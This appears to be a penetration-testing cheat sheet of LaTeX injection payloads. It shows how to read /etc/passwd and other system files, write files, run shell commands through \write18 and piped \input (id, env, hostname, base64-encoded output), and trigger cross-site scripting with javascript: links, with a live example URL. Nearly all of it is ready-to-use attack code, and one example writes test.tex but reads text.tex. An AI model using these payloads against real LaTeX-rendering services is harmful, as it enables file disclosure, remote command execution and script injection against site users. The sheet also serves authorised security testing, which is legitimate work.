LaTex Injection

Read file

Read file and interpret the LaTeX code in it:

```
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)
```

Read single lined file:

```
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```

Read multiple lined file:

```
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file
```

Read text file, **without** interpreting the content, it will only paste raw file content:

```
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```

If injection point is past document header (`\usepackage` cannot be used), some control characters can be deactivated in order to use `\input` on file containing `$`, `#`, `_`, `&`, null bytes, ... (eg. perl scripts).

```
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}
```

Write file

Write single lined file:

```
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
```

Command execution

The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.

```
\immediate\write18{id > output}
\input{output}
```

If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):

```
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```

```
\input|ls|base64
\input{|"/bin/hostname"}
```

Cross Site Scripting

From @EdOverflow

```
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```

Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$`

References

- Hacking with LaTeX - Sebastian Neef - 0day.work
- Latex to RCE, Private Bug Bounty Program - Yasho
- Pwning coworkers thanks to LaTeX